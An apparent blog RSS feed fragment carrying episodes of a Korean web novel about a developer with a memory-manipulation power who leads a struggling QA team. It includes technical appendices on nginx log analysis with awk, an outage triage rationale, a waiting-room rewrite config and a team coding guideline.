&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bPNcUY/dJMb8YpRRsa/sAhqfVNH861Wk4kyiMQs91/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/fx8nR/dJMb8SpEm9i/6Zznr6CtS2weCh9ji640g0/img.png?width=800&amp;amp;height=800&amp;amp;face=338_166_453_291,https://scrap.kakaocdn.net/dn/bCUMXr/dJMb8UHLBFh/hQcYvOs0UzHSzhikEb4wi1/img.png?width=1024&amp;amp;height=939&amp;amp;face=449_224_565_352');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제10화. 눈빛의 끝, 사람의 시작계절이 두 번 바뀌었다.그날의 &amp;lsquo;30만 접속 대란&amp;rsquo;은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록 1] 한결이 사용한 'awk' 명령어, 쉽게 파헤쳐보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장애 상황에서 한결은 다음 명령어를 사용해 가장 많이 요청된 URL을 찾아냈습니다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;tail -n 10000 /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -n 5&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 명령어는 여러 작은 명령어들을 파이프(|)로 연결해서 만든 '로그 분석 파이프라인'입니다. 각 부분의 역할을 쉽게 설명해 드릴게요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;tail -n 10000 /var/log/nginx/access.log&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;/var/log/nginx/access.log&lt;/code&gt; 파일의 &lt;b&gt;마지막 10,000줄&lt;/b&gt;을 읽어옵니다. (최근 로그만 보겠다는 뜻)&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;awk '{print $7}'&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;awk&lt;/code&gt;는 텍스트 파일에서 특정 패턴을 찾고, 원하는 방식으로 출력하는 명령어입니다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;'{print $7}'&lt;/code&gt;은 &lt;b&gt;각 줄에서 7번째 항목(필드)만 출력&lt;/b&gt;하라는 뜻입니다. Nginx access log에서 7번째 필드는 &lt;b&gt;요청한 URL&lt;/b&gt;입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;앞 단계에서 추출한 URL 목록을 &lt;b&gt;알파벳 순서로 정렬&lt;/b&gt;합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;uniq -c&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정렬된 목록에서 &lt;b&gt;각 URL이 몇 번 등장했는지 세어서&lt;/b&gt; 보여줍니다. (중복된 줄을 합쳐서 개수를 표시)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;sort -rn&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;uniq -c&lt;/code&gt;의 결과를 &lt;b&gt;숫자(빈도수)를 기준으로 내림차순 정렬&lt;/b&gt;합니다. (&lt;code&gt;-r&lt;/code&gt;: reverse, &lt;code&gt;-n&lt;/code&gt;: numeric)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code&gt;head -n 5&lt;/code&gt;&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정렬된 결과에서 &lt;b&gt;가장 많이 등장한 상위 5개 URL&lt;/b&gt;만 보여줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모든 과정을 거치면, 로그 파일에서 &quot;가장 많이 호출된 URL&quot; 순서대로 결과를 얻을 수 있습니다. 한결은 이 결과를 보고 쿠폰 발급 API가 문제의 원인임을 알아낸 것이죠.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;[부록 2] 실제 장애 대응 관점에서 본 한결의 조치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소설 속 한결이 내린 &quot;쿠폰 API만 503 에러로 차단&quot;하는 결정은, 실제 대규모 서비스 장애 상황에서 SRE(Site Reliability Engineering, 사이트 신뢰성 엔지니어링)가 선택하는 매우 현실적이고 현명한 응급조치입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 피해 범위 최소화 (Blast Radius Reduction)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 중요한 원칙입니다. 당시 상황은 쿠폰 API 하나 때문에 쇼핑몰 전체가 마비된 상태였습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;조치 전:&lt;/b&gt; 고객은 상품 조회, 장바구니, 주문 등 &lt;b&gt;아무것도 할 수 없습니다.&lt;/b&gt; 사이트 자체가 열리지 않으므로 100%의 고객이 100%의 불만을 겪습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조치 후:&lt;/b&gt; 쿠폰 기능을 제외한 &lt;b&gt;모든 핵심 기능(상품 조회, 주문, 결제)이 정상화&lt;/b&gt;됩니다. 이제 불편을 겪는 고객은 '전체 30만 명'이 아니라 '주문 직전 쿠폰을 적용하려던 일부 고객'으로 한정됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 시스템이 침몰하는 상황에서, 배의 가장 큰 구멍 하나를 급히 막아 침몰을 막고 나머지 승객이라도 살리는 것과 같은 원리입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 핵심 기능 우선 복구 (Core Functionality First)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커머스 플랫폼의 가장 핵심적인 비즈니스 가치는 &lt;b&gt;'주문과 결제'&lt;/b&gt;입니다. 쿠폰은 부가적인 마케팅 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한결이는 장애 대응의 제1원칙인 &lt;b&gt;'핵심 기능부터 살린다'&lt;/b&gt;를 정확히 실행했습니다. 쿠폰을 못 써서 짜증이 나는 고객보다, 아예 주문 자체를 못 해서 떠나가는 고객이 비즈니스에 훨씬 치명적입니다. 한결이는 그 우선순위를 명확히 판단한 것입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 시간 확보 (Buying Time)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버단에서 특정 API를 차단하는 것은 Nginx 설정 변경만으로 수십 초 내에 가능합니다. 하지만 근본 원인인 '클라이언트 앱의 잘못된 재시도 로직'을 수정하려면 다음과 같은 복잡한 과정이 필요합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;앱 코드 수정&lt;/li&gt;
&lt;li&gt;QA 테스트&lt;/li&gt;
&lt;li&gt;앱 스토어(구글/애플) 심사 요청 (수 시간 ~ 수 일 소요)&lt;/li&gt;
&lt;li&gt;고객들이 앱을 업데이트하도록 유도&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모든 과정에는 최소 몇 시간 이상이 걸립니다. 그 시간 동안 사이트 전체를 마비 상태로 둘 수는 없습니다. 한결이의 조치는 일단 급한 불을 꺼서, 근본 원인을 해결할 수 있는 귀중한 시간을 벌어준 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요약하자면, 한결이의 조치는 완벽한 해결책이 아닌, 최악의 상황을 막기 위한 가장 빠르고 효과적인 &lt;b&gt;응급조치(First Aid)&lt;/b&gt;이자 &lt;b&gt;차선책(Trade-off)&lt;/b&gt;입니다. 이런 냉철한 판단력과 실행력이 바로 9화에서 한결이가 리더로서 팀원들에게 '진짜 신뢰'를 얻게 되는 결정적인 계기가 됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;[부록 3] 한결이 구현한 초간단 대기열 시스템 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한결은 복잡한 개발 없이 Nginx 설정만으로 트래픽을 우회시켰습니다. 그 원리를 코드로 보면 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Nginx 설정 (nginx.conf)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;server {
    listen 80;
    server_name api.nexolve.com;

    # 쿠폰 발급 API 요청이 들어오면
    location /api/event/coupon/claim {
        # DB를 타지 않는 가벼운 안내 페이지로 강제 이동 (302 Redirect)
        rewrite ^ /static/waiting_room.html break;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 대기 안내 페이지 (waiting_room.html)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;현재 접속자가 많아 대기 중입니다.&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;잠시 후 다시 시도해주세요. (현재 주문 기능은 정상 이용 가능합니다.)&amp;lt;/p&amp;gt;
    &amp;lt;script&amp;gt;
      // 10초마다 자동으로 새로고침하여 접속 시도
      setTimeout(function () {
        location.reload();
      }, 10000);
    &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/211</guid>
      <comments>https://thepin.tistory.com/211#entry211comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:17:27 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛</title>
      <link>https://thepin.tistory.com/210</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/209&quot;&gt;https://thepin.tistory.com/209&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제8화. 리더의 눈빛&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만 박 팀장의 눈빛은 단호했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기술적인 실력은 이미 증명했고, 무엇보다&amp;hellip; 저번 보안 사건 때 보니까 멘탈이 좋더구만. 팀원들 잘 이끌어봐.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 나는 4명으로 구성된 TF팀을 맡게 되었다. 윤서아 대리, 최진호 주임, 그리고 신입 사원 두 명.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 시작부터 삐걱거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 이걸 언제 다 짭니까? 기존 업무도 바빠 죽겠는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임은 대놓고 불만을 터뜨렸다. 신입들은 눈치만 보고 있었고, 윤 대리조차 지친 기색이 역력했다. 마감 기한은 2주. 수천 개의 테스트 케이스를 자동화 코드로 변환해야 하는 강행군이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일주일이 지나자 팀은 한계에 다다랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새벽 1시. 사무실 공기는 무겁게 가라앉아 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아, 진짜! 미치겠네!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 키보드를 거칠게 내려쳤다. 그의 외침에 모두의 시선이 쏠렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;누가 &lt;code&gt;develop&lt;/code&gt; 브랜치에 강제 푸시(Force Push)했어! 윤 대리님이 오후 내내 작업한 거 다 날아갔잖아!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;범인은 겁에 질린 신입 사원이었다. 그는 울먹이며 고개를 숙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;죄&amp;hellip; 죄송합니다. 제가 브랜치를 헷갈려서&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;죄송하면 다야? 지금 네가 덮어쓴 코드 복구하려면 몇 시간 걸리는 줄 알아? 리더라는 놈은 뭐하고 있었는데!&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;날카로운 화살이 나에게 날아와 박혔다. 고성이 오갔다. 윤 대리가 지친 얼굴로 중재하려 했지만 역부족이었다. 팀원들의 눈에는 짜증과 피로, 그리고 서로에 대한 불신이 가득했다. 팀은 와해 직전이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 자리에서 일어나 그 광경을 지켜보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;멈춰야 해. 이대로 두면 전부 무너진다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익숙한 유혹이 뱀의 혀처럼 나를 유혹했다. 내 능력을 쓰면 된다. 최 주임의 분노를 잠재우고, 신입 사원의 공포를 지워줄 수 있다. &amp;lsquo;우리는 할 수 있다&amp;rsquo;는 거짓된 희망을 강제로 주입할 수도 있다. 그러면 이 지옥 같은 소란은 1분 안에 정리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 눈동자가 보라색으로 일렁이려 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 나는 주먹을 꽉 쥐고 눈을 감았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;아니야. 그건 가짜 평화야. 마약성 진통제일 뿐이야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기억을 조작해서 만든 팀워크는, 진짜 위기 앞에서는 모래성처럼 무너질 것이다. 나는 더 이상 괴물이 되고 싶지 않았다. 나는 능력이 아닌, 리더로서 이 상황을 해결해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;잠깐 주목해주세요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 차분한 목소리가 소음을 갈랐다. 날 선 시선들이 나에게 꽂혔다. 최 주임은 &amp;lsquo;네가 뭘 할 수 있는데&amp;rsquo;라는 표정으로 나를 노려봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 화이트보드 앞으로 걸어갔다. 그리고 마커를 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지금 우리에게 필요한 건 서로를 탓할 시간이 아니라, 다시는 이런 일이 생기지 않게 할 &amp;lsquo;시스템&amp;rsquo;입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 미리 준비해둔 문서를 화면에 띄웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우리가 힘든 건 실력이 없어서가 아닙니다. &amp;lsquo;규칙&amp;rsquo;이 없어서입니다. 서로 다른 스타일로 코드를 짜고, 중구난방으로 합치니까 충돌이 나는 겁니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면에 &lt;b&gt;[QA Automation Guideline]&lt;/b&gt;이라는 제목이 떴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;앞으로 남은 일주일, 이 가이드라인대로만 움직입니다. 브랜치 전략, 코드 스타일, 커밋 메시지까지 제가 다 정해뒀습니다. 고민하지 말고, 이대로만 하세요. 모든 책임은 제가 집니다. 코드 리뷰도 제가 가장 먼저, 가장 마지막까지 보겠습니다. 여러분은 이 규칙 안에서 마음껏 실력을 발휘해주세요. 실수는 제가 다 막겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원들이 웅성거렸다. 나는 한 명 한 명 눈을 맞췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임과 눈이 마주쳤다. 그는 흠칫하며 시선을 피하려 했다. 과거의 기억, 나를 향한 두려움이 남아있는 탓이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 나는 피하지 않았다. 그렇다고 능력을 쓰지도 않았다. 그저 담담하게, 그리고 간절하게 그를 바라보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;도와주세요, 선배님. 저 혼자서는 못합니다. 선배님의 경험이 필요합니다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 눈빛에 담긴 건 조작된 명령이 아니라, 잠도 못 자고 지쳐버린 리더의 투박한 진심이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임의 눈동자가 흔들렸다. 그는 내 눈에서 보라색 광채를 찾으려는 듯 빤히 보다가, 이내 헛기침을 하며 시선을 돌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;지키지도 못할 규칙 만들어서 일만 두 배로 만드는 거 아니야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 목소리는 여전히 퉁명스러웠지만, 날카로운 가시는 빠져 있었다. 비난이 아닌 질문이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제가 지키게 만들겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;윤 대리님, 신입분들도. 저 믿고 딱 일주일만 더 고생해봅시다. 제가 제일 늦게 퇴근하고, 제일 먼저 출근해서 코드 리뷰 다 하겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 말에 윤 대리가 피식 웃었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;리더가 그렇게 말하는데, 따라야죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공기의 흐름이 바뀌었다. 강제로 주입된 평화가 아니었다. 서로의 피로를 이해하고, 시스템을 통해 문제를 해결하려는 의지가 만들어낸 진짜 팀워크의 시작이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그날 이후, 우리 팀은 달라졌다. 가이드라인 덕분에 불필요한 충돌이 사라졌고, 업무 속도가 붙었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일주일 뒤, 우리는 기한 내에 자동화 프로젝트를 성공적으로 완수했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회식이 끝난 밤, 최 주임이 내 어깨를 툭 치며 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 이한결. 너&amp;hellip; 독한 놈인 줄만 알았는데, 진짜 리더가 다 됐네. 인정한다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 어색하게 헛기침을 하더니 덧붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아까 네가 리뷰해준 코드, 덕분에 버그 하나 잡았다. 고맙다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 밤하늘을 올려다보며 웃었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력을 쓰지 않아도, 사람의 마음은 움직일 수 있다.&lt;br /&gt;아니, 능력을 쓰지 않았기에 비로소 닿을 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것이 내가 리더가 되어 배운 첫 번째 교훈이었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;940&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2P8Wg/dJMcaioMi4P/RTExFG8V091UYb6MmEONLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2P8Wg/dJMcaioMi4P/RTExFG8V091UYb6MmEONLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2P8Wg/dJMcaioMi4P/RTExFG8V091UYb6MmEONLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2P8Wg%2FdJMcaioMi4P%2FRTExFG8V091UYb6MmEONLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;709&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;940&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/211&quot;&gt;https://thepin.tistory.com/211&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422054696&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련&quot; data-og-description=&quot;제9화. 붕괴의 시련D-Day.6개월을 매달린 &amp;lsquo;넥솔브 차세대 커머스 플랫폼&amp;rsquo; 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/211&quot; data-og-url=&quot;https://thepin.tistory.com/211&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/wsixI/dJMb81fO3BN/7XqKTpF0COJcKh7YyBMhoK/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/edWK9o/dJMb9aKBxXG/xQTn4qxjf0KrDBEDqjjHZk/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/bmtusJ/dJMb87f2QCH/WE1Rv9LkD093BzAES9Nw9k/img.png?width=938&amp;amp;height=1024&amp;amp;face=0_0_938_1024&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/211&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/211&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/wsixI/dJMb81fO3BN/7XqKTpF0COJcKh7YyBMhoK/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/edWK9o/dJMb9aKBxXG/xQTn4qxjf0KrDBEDqjjHZk/img.png?width=800&amp;amp;height=873&amp;amp;face=0_0_800_873,https://scrap.kakaocdn.net/dn/bmtusJ/dJMb87f2QCH/WE1Rv9LkD093BzAES9Nw9k/img.png?width=938&amp;amp;height=1024&amp;amp;face=0_0_938_1024');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제9화. 붕괴의 시련&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제9화. 붕괴의 시련D-Day.6개월을 매달린 &amp;lsquo;넥솔브 차세대 커머스 플랫폼&amp;rsquo; 오픈 날. 상황실의 공기는 팽팽하게 당겨진 활시위 같았다. 에어컨이 돌아가고 있었지만, 사람들의 이마에는 송골송골&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록] 한결이 공유한 QA 자동화 가이드라인 (QA_Automation_Guideline.md)&lt;/h3&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;# QA Automation Collaboration Guideline

## 1. Git Branch Strategy (브랜치 전략)

우리는 **Git-flow** 전략을 간소화하여 사용합니다.

- **main**: 배포 가능한 안정적인 상태 (Production Ready).
- **develop**: 개발 중인 코드가 통합되는 브랜치. 모든 PR(Pull Request)의 목적지.
- **feature/기능명**: 개별 기능 개발 브랜치. (예: `feature/login-test`, `feature/payment-module`)
  - 작업 완료 후 `develop` 브랜치로 PR 생성.
  - 본인 로컬에서 테스트 통과 후 Push 할 것.

## 2. Python Code Convention (코드 컨벤션)

가독성을 위해 통일된 스타일을 유지합니다.

- **Formatter**: `Black` 사용 (Line length: 88).
- **Naming**:
  - 변수/함수명: `snake_case` (예: `get_user_data()`)
  - 클래스명: `CamelCase` (예: `LoginPage`)
- **Docstring**: 모든 함수에는 기능을 설명하는 주석을 포함할 것.

## 3. Test Case Structure (테스트 구조)

유지보수를 위해 **POM (Page Object Model)** 패턴을 준수합니다.

- **pages/**: 웹 페이지별 요소(Locator)와 행위(Method)를 정의.
- **tests/**: 실제 테스트 시나리오. 로직 없이 `pages`의 메서드만 호출하여 구성.
